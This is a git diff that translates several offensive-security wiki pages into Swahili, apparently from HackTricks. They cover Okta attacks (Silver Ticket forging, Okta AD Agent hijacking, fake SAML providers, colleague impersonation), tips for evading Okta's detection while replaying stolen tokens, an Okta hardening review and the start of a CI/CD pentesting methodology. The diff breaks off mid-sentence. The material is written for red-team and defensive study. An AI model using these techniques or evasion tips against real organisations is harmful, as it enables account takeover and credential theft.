Kerberos katika AD, endesha **`getST.py`** na **parameta zinazofaa**. Baada ya kupata **tiketi ya mtumiaji wa AD**, **ingiza** kwenye mwenyeji aliye na udhibiti kwa kutumia zana kama Rubeus au Mimikatz, kuhakikisha **`clientname.kerberos.okta.com` iko katika eneo la "Intranet" la Chaguzi za Mtandao**. Kufikia URL maalum kunapaswa kurudisha jibu la JSON "OK", ikionyesha kukubaliwa kwa tiketi ya Kerberos, na kutoa ufikiaji wa dashibodi ya Okta. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa mwathirika** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akisi za mtumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo ya 'skeleton'). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akisi kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia rahisi ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta Fake SAML Provider -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa mapenzi yao**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha na jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, bila kuhitaji akisi za mtumiaji binafsi, na kuongeza udhibiti wa ufikiaji kwa njia ambayo inaweza kutokewa. ### Phishing Okta Portal with Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +Katika [**hiki kipande cha blogi**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) inaelezwa jinsi ya kuandaa kampeni ya phishing dhidi ya lango la Okta. ### Colleague Impersonation Attack -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +**Sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Hivyo basi, ikiwa programu inakubali uwanja wa **`userName`**, huenda usiweze kuubadilisha (kwa sababu huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubadilishwa na kukubali masasisho zitakazodhuriwa.\ +Hivyo basi, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +Nimeona pia programu nyingine ambazo zilikuwa na udhaifu lakini hazikuwa na uwanja huo katika mipangilio ya Okta (mwishowe programu tofauti zimeundwa tofauti). -The best way to find out if you could impersonate anyone on each app would be to try it! +Njia bora ya kujua ikiwa unaweza kujifanya kuwa mtu yeyote kwenye kila programu itakuwa kujaribu! ## Evading behavioural detection policies -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuzipita** kunaweza kufanywa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia. -Key recommendations include: +Mapendekezo muhimu ni pamoja na: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Epuka kutumia** proxies maarufu za anonymizer na huduma za VPN unapofanya kurudiwa kwa token za ufikiaji zilizokamatwa. +- Hakikisha **nyuzi za mtumiaji zinazofanana** kati ya mteja na token za ufikiaji zilizorejeshwa. +- **Epuka kurudi token** kutoka kwa watumiaji tofauti kutoka anwani moja ya IP. +- Fanya makini unapofanya kurudi token dhidi ya dashibodi ya Okta. +- Ikiwa unajua anwani za IP za kampuni ya mwathirika, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote. ## Okta Hardening -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utapata jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana: {{#ref}} okta-hardening.md @@ -112,7 +112,3 @@ okta-hardening.md - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..e97f7d5d2 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +Kutoka kwa mtazamo wa washambuliaji, hii ni ya kuvutia sana kwani utaweza kuona **watumiaji wote waliojiandikisha**, anwani zao za **barua pepe**, **makundi** wanayoshiriki, **profaili** na hata **vifaa** (simu za mkononi pamoja na mifumo yao ya uendeshaji). -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Kwa ukaguzi wa whitebox hakikisha kuwa hakuna "**Hatua ya mtumiaji inayosubiri**" na "**Kurekebisha nenosiri**". ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni ya kuvutia kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\ +Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotengwa** kwa kila kundi. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Kwa kweli, kundi lolote lenye jina la **admin** ni la kuvutia, hasa kundi la **Wasimamizi wa Kimataifa,** angalia wanachama kujua ni nani wanachama wenye mamlaka zaidi. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi wa kimataifa zaidi ya 5** (ni bora ikiwa kuna 2 au 3 tu). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Pata hapa **orodha ya vifaa vyote** vya watumiaji wote. Unaweza pia kuona ikiwa inasimamiwa **kwa ufanisi** au la. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Hapa inawezekana kuona jinsi taarifa muhimu kama vile majina ya kwanza, majina ya mwisho, barua pepe, majina ya mtumiaji... zinavyoshirikiwa kati ya Okta na programu nyingine. Hii ni ya kuvutia kwa sababu ikiwa mtumiaji anaweza **kubadilisha katika Okta uwanja** (kama jina lake au barua pepe) ambayo kisha inatumika na **programu ya nje** ili **kutambua** mtumiaji, mtu wa ndani anaweza kujaribu **kuchukua akaunti nyingine**. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Zaidi ya hayo, katika profaili **`User (default)`** kutoka Okta unaweza kuona **ni viwanja gani** kila **mtumiaji** ana na ni vipi **vinavyoweza kuandikwa** na watumiaji. Ikiwa huwezi kuona paneli ya admin, nenda tu **sasisha taarifa za profaili yako** na utaona ni viwanja gani unaweza kusasisha (kumbuka kuwa ili kusasisha anwani ya barua pepe utahitaji kuithibitisha). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Maktaba zinakuwezesha kuingiza watu kutoka vyanzo vilivyopo. Nadhani hapa utaona watumiaji waliingizwa kutoka maktaba nyingine. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +Sijawahi kuona, lakini nadhani hii ni ya kuvutia kugundua **maktaba nyingine ambazo Okta inatumia kuingiza watumiaji** ili ikiwa **utavunja maktaba hiyo** unaweza kuweka baadhi ya thamani za sifa katika watumiaji walioundwa katika Okta na **labda kuathiri mazingira ya Okta**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Chanzo cha profaili ni **programu inayofanya kazi kama chanzo cha ukweli** kwa sifa za profaili za mtumiaji. Mtumiaji anaweza tu kutolewa na programu au maktaba moja kwa wakati mmoja. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +Sijawahi kuona, hivyo taarifa yoyote kuhusu usalama na uhalifu kuhusu chaguo hili inathaminiwa. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Angalia katika tab ya **Domains** ya sehemu hii anwani za barua pepe zinazotumika kutuma barua pepe na jina la kikoa maalum ndani ya Okta la kampuni (ambalo huenda tayari unalijua). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Zaidi ya hayo, katika tab ya **Setting**, ikiwa wewe ni admin, unaweza "**Tumia ukurasa maalum wa kutoka**" na kuweka URL maalum. ### SMS -Nothing interesting here. +Hakuna kitu cha kuvutia hapa. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Unaweza kupata hapa programu zilizowekwa, lakini tutaona maelezo ya hizo baadaye katika sehemu tofauti. ### Other -Interesting setting, but nothing super interesting from a security point of view. +Mipangilio ya kuvutia, lakini hakuna kitu cha kuvutia sana kutoka kwa mtazamo wa usalama. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Hapa unaweza kupata **programu zote zilizowekwa** na maelezo yao: Nani ana ufikiaji wa hizo, jinsi ilivyowekwa (SAML, OPenID), URL ya kuingia, ramani kati ya Okta na programu... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +Katika tab ya **`Sign On`** pia kuna uwanja unaoitwa **`Password reveal`** ambao utamruhusu mtumiaji **kuonyesha nenosiri lake** wakati wa kuangalia mipangilio ya programu. Ili kuangalia mipangilio ya programu kutoka kwa Paneli ya Mtumiaji, bonyeza alama 3:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +Na unaweza kuona maelezo zaidi kuhusu programu (kama kipengele cha kuonyesha nenosiri, ikiwa kimewezeshwa):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Tumia Access Certifications kuunda kampeni za ukaguzi ili kupitia ufikiaji wa watumiaji wako kwa rasilimali mara kwa mara na kuidhinisha au kufuta ufikiaji kiotomatiki inapohitajika. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +Sijawahi kuona ikitumika, lakini nadhani kutoka kwa mtazamo wa kujihami ni kipengele kizuri. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **Barua pepe za arifa za usalama**: Zote zinapaswa kuwezeshwa. +- **Ushirikiano wa CAPTCHA**: Inapendekezwa kuweka angalau reCaptcha isiyoonekana +- **Usalama wa Shirika**: Kila kitu kinaweza kuwezeshwa na barua pepe za uanzishaji hazipaswi kudumu kwa muda mrefu (siku 7 ni sawa) +- **Kuzuia kuhesabu watumiaji**: Zote zinapaswa kuwezeshwa +- Kumbuka kuwa Kuzuia Kuangalia Watumiaji hakutatumika ikiwa mojawapo ya masharti yafuatayo yanaruhusiwa (Tazama [Usimamizi wa watumiaji](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) kwa maelezo zaidi): +- Usajili wa Huduma ya Kibinafsi +- Mchakato wa JIT na uthibitisho wa barua pepe +- **Mipangilio ya Okta ThreatInsight**: Rekodi na enforce usalama kulingana na kiwango cha tishio ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Hapa inawezekana kupata mipangilio **iliyowekwa** kwa usahihi na **hatari**. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Hapa unaweza kupata njia zote za uthibitishaji ambazo mtumiaji anaweza kutumia: Nenosiri, simu, barua pepe, nambari, WebAuthn... Bonyeza kwenye uthibitishaji wa Nenosiri unaweza kuona **sera ya nenosiri**. Hakikisha kuwa ni imara. -In the **Enrollment** tab you can see how the ones that are required or optinal: +Katika tab ya **Enrollment** unaweza kuona jinsi zile zinazohitajika au za hiari:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +Inapendekezwa kuzima Simu. Njia zenye nguvu zaidi ni pengine mchanganyiko wa nenosiri, barua pepe na WebAuthn. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Kila programu ina sera ya uthibitishaji. Sera ya uthibitishaji inathibitisha kuwa watumiaji wanaojaribu kuingia kwenye programu wanakidhi masharti maalum, na inatekeleza mahitaji ya vipengele kulingana na masharti hayo. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Hapa unaweza kupata **mahitaji ya kufikia kila programu**. Inapendekezwa kutaka angalau nenosiri na njia nyingine kwa kila programu. Lakini ikiwa kama mshambuliaji unapata kitu chochote dhaifu unaweza kuwa na uwezo wa kukishambulia. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Hapa unaweza kupata sera za kikao zilizotengwa kwa makundi tofauti. Kwa mfano:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +Inapendekezwa kutaka MFA, kupunguza muda wa kikao kuwa masaa kadhaa, usihifadhi kuki za kikao kupitia nyongeza za kivinjari na kupunguza eneo na Mtoa Kitambulisho (ikiwa hii inawezekana). Kwa mfano, ikiwa kila mtumiaji anapaswa kuingia kutoka nchi fulani unaweza kuruhusu tu eneo hili. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Watoa Kitambulisho (IdPs) ni huduma ambazo **zinatawala akaunti za watumiaji**. Kuongeza IdPs katika Okta kunawawezesha watumiaji wako wa mwisho **kujiandikisha wenyewe** na programu zako maalum kwa kuanza kuthibitisha na akaunti ya kijamii au kadi ya smart. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +Katika ukurasa wa Watoa Kitambulisho, unaweza kuongeza kuingia kwa kijamii (IdPs) na kuunda Okta kama mtoa huduma (SP) kwa kuongeza SAML ya ndani. Baada ya kuongeza IdPs, unaweza kuunda sheria za kuelekeza watumiaji kwa IdP kulingana na muktadha, kama vile eneo la mtumiaji, kifaa, au kikoa cha barua pepe. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Ikiwa mtoa kitambulisho yeyote amewekwa** kutoka kwa mtazamo wa washambuliaji na walinzi angalia mipangilio hiyo na **ikiwa chanzo ni cha kuaminika kweli** kwani mshambuliaji anayevunja inaweza pia kupata ufikiaji wa mazingira ya Okta. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +Uthibitishaji wa wakala unaruhusu watumiaji kuingia katika Okta kwa kuingiza taarifa za kuingia za **Active Directory (AD) au LDAP** ya shirika lao. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Tena, angalia hii, kwani mshambuliaji anayevunja AD ya shirika anaweza kuwa na uwezo wa kuhamasisha Okta kutokana na mipangilio hii. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Eneo la mtandao ni mpaka unaoweza kubadilishwa ambao unaweza kutumia ili **kutoa au kupunguza ufikiaji wa kompyuta na vifaa** katika shirika lako kulingana na **anwani ya IP** inayotafuta ufikiaji. Unaweza kufafanua eneo la mtandao kwa kubainisha moja au zaidi ya anwani za IP, anuwai za anwani za IP, au maeneo ya kijiografia. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Baada ya kufafanua moja au zaidi ya maeneo ya mtandao, unaweza **kuvitumia katika Sera za Kikao za Kimataifa**, **sera za uthibitishaji**, arifa za VPN, na **sheria za kuelekeza**. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +Kutoka kwa mtazamo wa washambuliaji ni ya kuvutia kujua ni IP zipi zinazoruhusiwa (na kuangalia ikiwa kuna **IPs zenye mamlaka zaidi** kuliko nyingine). Kutoka kwa mtazamo wa washambuliaji, ikiwa watumiaji wanapaswa kufikia kutoka anwani maalum ya IP au eneo angalia kuwa kipengele hiki kinatumika ipasavyo. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Usimamizi wa Kituo**: Usimamizi wa kituo ni hali ambayo inaweza kutumika katika sera ya uthibitishaji ili kuhakikisha kuwa vifaa vilivyo na usimamizi vina ufikiaji wa programu. +- Sijawahi kuona hii ikitumika bado. TODO +- **Huduma za Arifa**: Sijawahi kuona hii ikitumika bado. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Unaweza kuunda token za API za Okta katika ukurasa huu, na kuona zile ambazo zime **undwa**, **mamlaka** zao, muda wa **kuisha** na **URLs za Chanzo**. Kumbuka kuwa token za API zinaundwa kwa ruhusa za mtumiaji aliyekuwa ameunda token hiyo na ni halali tu ikiwa **mtumiaji** aliyekuwa ameunda ni **hai**. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Vyanzo vya Kuaminika** vinatoa ufikiaji kwa tovuti ambazo unadhibiti na kuamini ili kufikia shirika lako la Okta kupitia API ya Okta. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +Hakupaswi kuwa na token nyingi za API, kwani ikiwa kuna mshambuliaji anaweza kujaribu kuzipata na kuzitumia. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +Automations zinakuwezesha kuunda vitendo vya kiotomatiki vinavyofanyika kulingana na seti ya masharti ya kichocheo yanayotokea wakati wa mzunguko wa maisha wa watumiaji wa mwisho. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Kwa mfano, hali inaweza kuwa "Kutokuwepo kwa mtumiaji katika Okta" au "Kuisha kwa nenosiri la mtumiaji katika Okta" na kitendo kinaweza kuwa "Tuma barua pepe kwa mtumiaji" au "Badilisha hali ya maisha ya mtumiaji katika Okta". ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Pakua kumbukumbu. Zinatumwa kwa **anwani ya barua pepe** ya akaunti ya sasa. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Hapa unaweza kupata **kumbukumbu za vitendo vilivyofanywa na watumiaji** kwa maelezo mengi kama kuingia katika Okta au katika programu kupitia Okta. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +Hii inaweza **kuingiza kumbukumbu kutoka kwa majukwaa mengine** yaliyofikiwa na Okta. ### Rate limits -Check the API rate limits reached. +Angalia mipaka ya kiwango cha API iliyofikiwa. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Hapa unaweza kupata **taarifa za jumla** kuhusu mazingira ya Okta, kama vile jina la kampuni, anwani, **mwanakandarasi wa bili ya barua pepe**, **mwanakandarasi wa kiufundi wa barua pepe** na pia ni nani anapaswa kupokea masasisho ya Okta na ni aina gani ya masasisho ya Okta. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Hapa unaweza kupakua wakala wa Okta ili kuunganisha Okta na teknolojia nyingine. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..ac7b2c8e0 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS inamaanisha **Mfumo wa Kudhibiti Toleo**, mifumo hii inaruhusu waendelezaji **kusimamia msimbo wao wa chanzo**. Mmoja wa kawaida ni **git** na kawaida utaona kampuni zikilitumia katika moja ya **majukwaa** yafuatayo: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Watoa huduma wa wingu (wanatoa majukwaa yao ya VCS) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +Pipelines za CI/CD zinawawezesha waendelezaji **kujiandaa kutekeleza msimbo** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na kupeleka programu. Mifumo hii ya kiotomatiki **inasababishwa na vitendo maalum**, kama vile kusukuma msimbo, maombi ya kuvuta, au kazi zilizopangwa. Zinasaidia katika kuboresha mchakato kutoka kwa maendeleo hadi uzalishaji. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +Hata hivyo, mifumo hii inahitaji **kutekelezwa mahali fulani** na kawaida kwa **akidi za kibali ili kupeleka msimbo au kufikia taarifa nyeti**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Hata kama baadhi ya majukwaa ya VCS yanaruhusu kuunda pipelines kwa sehemu hii tutachambua tu mashambulizi yanayoweza kutokea kwenye udhibiti wa msimbo wa chanzo. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Majukwaa yanayoshikilia msimbo wa mradi wako yana taarifa nyeti na watu wanahitaji kuwa makini sana na ruhusa zinazotolewa ndani ya jukwaa hili. Haya ni baadhi ya matatizo ya kawaida katika majukwaa ya VCS ambayo mshambuliaji anaweza kuyatumia: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or 